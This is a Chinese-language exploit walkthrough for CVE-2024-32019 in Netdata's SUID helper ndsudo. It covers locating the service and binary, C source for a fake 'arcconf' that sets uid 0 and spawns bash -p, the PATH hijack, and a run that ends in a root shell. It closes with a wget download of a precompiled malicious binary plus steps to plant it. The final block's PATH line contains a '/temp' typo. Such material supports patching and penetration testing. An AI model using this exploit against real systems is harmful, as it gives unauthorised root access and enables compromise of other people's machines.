Netdata ndsudo 本地权限提升工作流及POC (CVE-2024-32019)
[!TIP] 请先阅读
Netdata 是一个提供应用和系统监控的工具,运行在19999端口,容易发现:
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN
此漏洞 (CVE-2024-32019) 影响以下版本:>= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169。我们可以通过一个请求来获知版本信息,版本会出现在响应头中:
该漏洞利用的方式是劫持其中一个插件 ndsudo 的 PATH 环境变量,该插件通常位于 /opt/netdata/usr/libexec/netdata/ 并具有 SUID 权限。
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
我们可以通过 --help 查看它能做什么
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help
ndsudo
(C) Netdata Inc.
一个辅助工具,允许 Netdata 以特权运行命令。
--test
打印将要运行的命令,而不实际执行它。
--help
打印此帮助信息。
支持以下命令:
- 命令 : nvme-list
可执行文件: nvme
参数 : list --output-format=json
- 命令 : nvme-smart-log
可执行文件: nvme
参数 : smart-log {{device}} --output-format=json
- 命令 : megacli-disk-info
可执行文件: megacli MegaCli
参数 : -LDPDInfo -aAll -NoLog
- 命令 : megacli-battery-info
可执行文件: megacli MegaCli
参数 : -AdpBbuCmd -aAll -NoLog
- 命令 : arcconf-ld-info
可执行文件: arcconf
参数 : GETCONFIG 1 LD
- 命令 : arcconf-pd-info
可执行文件: arcconf
参数 : GETCONFIG 1 PD
程序会在系统路径中搜索可执行文件。
以 {{variable}} 形式给出的变量,需要在命令行中这样提供:
--variable VALUE
VALUE 可以包含空格、A-Z、a-z、0-9、_、-、/ 和 .。
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.
如我们所见,由于脚本包含多个命令,每个命令会查找对应的可执行文件,我们可以利用这一点,制作一个与其中某个可执行文件同名的恶意可执行文件,并将其所在目录添加到 PATH 环境变量中。
Netdata 使用 C 语言编写,因此我们也需要用 C 编写脚本并编译它。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
perror("execl");
return 1;
}
gcc arcconf.c -o arcconf
然后如前所述,将脚本所在目录添加到 $PATH 中
test@test:/tmp$ PATH=/tmp:$PATH
最后,只需执行指向我们恶意可执行文件(arcconf-pd-info -> arcconf)的命令,就能获得一个特权 shell
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root
你可以下载已编译好的 C 恶意脚本,它会像上述示例一样给你一个 root 的 bash:
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf
mv arcconf /tmp # 如果目标能联网
scp ./arcconf test@test:/tmp/arcconf # 如果目标无法联网
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info # ndsudo 路径可能不同